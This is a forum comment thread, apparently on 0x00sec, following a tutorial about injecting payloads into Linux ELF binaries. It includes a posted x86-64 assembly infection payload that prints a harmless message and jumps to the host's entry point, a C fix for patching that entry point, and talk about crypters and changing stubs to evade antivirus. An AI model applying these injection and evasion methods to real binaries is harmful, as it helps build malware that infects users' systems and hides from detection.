ELFun File Injector

Looks nice @0x00_Jinx. There a couple more techniques to inject payloads that may be added and make the module grow.

Nice. It would be awesome if we could make the module grow, and also have a way to obfuscate payloads so they are harder to find. If you have any experience in these subjects, let me know! I’m going to be researching ways to encrypt the payload then unencrypt when the program is ran, making the AV signature useless. Also, I added some error checking to the module, like a function to make sure it is a .elf file.

1 Like

You would be referring to a Crypter, pico has actually done a tutorial on Linux Crypters here

You just need to watch out that they don’t fingerprint the stub, once they’ve done that encrypting the payload is useless.

1 Like

@pry0cc is right the main problem is the stub… encoding the payload is easy, but the stub cannot be encoded and you need to make it… change to avoid detection. Sounds like a nice topic for a post :stuck_out_tongue:

2 Likes

Brilliant. Great job. Have I reached 20 characters yet?

2 Likes

Wow, after an insane amount of research and coming back to this post I can finally make sense out of it. Brilliant post @0x00pf!

2 Likes

I might be a little late on that but I was reading through it again and I noticed that sentence. I think you mean string table instead of symbol table(?) Thus the “&shdr[elf_hdr->e_shstrndx];” and “shdr[i].sh_name” parts of your code which point to the string table section and the index into the section header string table section respectively.

2 Likes

Good catch @_py . I would like to say that it was in purpose to see if people was following the paper… but it was just a mistake :sweat_smile:

2 Likes

Sorry for necroposting, but as the current code didn’t work for me I thought I would add how I fixed it, in case anybody else comes here after me.

The payload, although running and passing flow over to _main, made the kernel segfault. The reason being that the CPU state had been corrupted by the syscall code. Saving the registers before and then restoring them after fixed it.

Also, I had to change the pattern being replaced by the original entry point, to be 8 bytes. When replacing the 0x11111111 pattern with ep, the value is zero extended when casting to long:

elfi_mem_subst (d+p, p_text_sec->sh_size, 0x11111111, (long)ep);

My final payload:

section .text
  global _start

_start:
  ;; save cpu state
  push rax
  push rdi
  push rsi
  push rdx

  ;; write msg to stdout
  mov rax,1                     ; [1] - sys_write
  mov rdi,1                     ; 0 = stdin / 1 = stdout / 2 = stderr
  lea rsi,[rel msg]             ; pointer(mem address) to msg (*char[])
  mov rdx, msg_end - msg        ; msg size
  syscall                       ; calls the function stored in rax

  ;; restore cpu state
  pop rdx
  pop rsi
  pop rdi
  pop rax

  ;; jump to _main
  mov rax, 0x1111111111111111   ; address changed during injection
  jmp rax

align 8
  msg     db 0x1b,'[31msuch infected, much wow!',0x1b,'[0m',0x0a,0
  msg_end db 0x0

Sorry about the notification guys.

Really awesome tut, pico. Have my first contribution to 0x00sec :heart:

7 Likes

very interesting article, thank you ! :smiley:

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.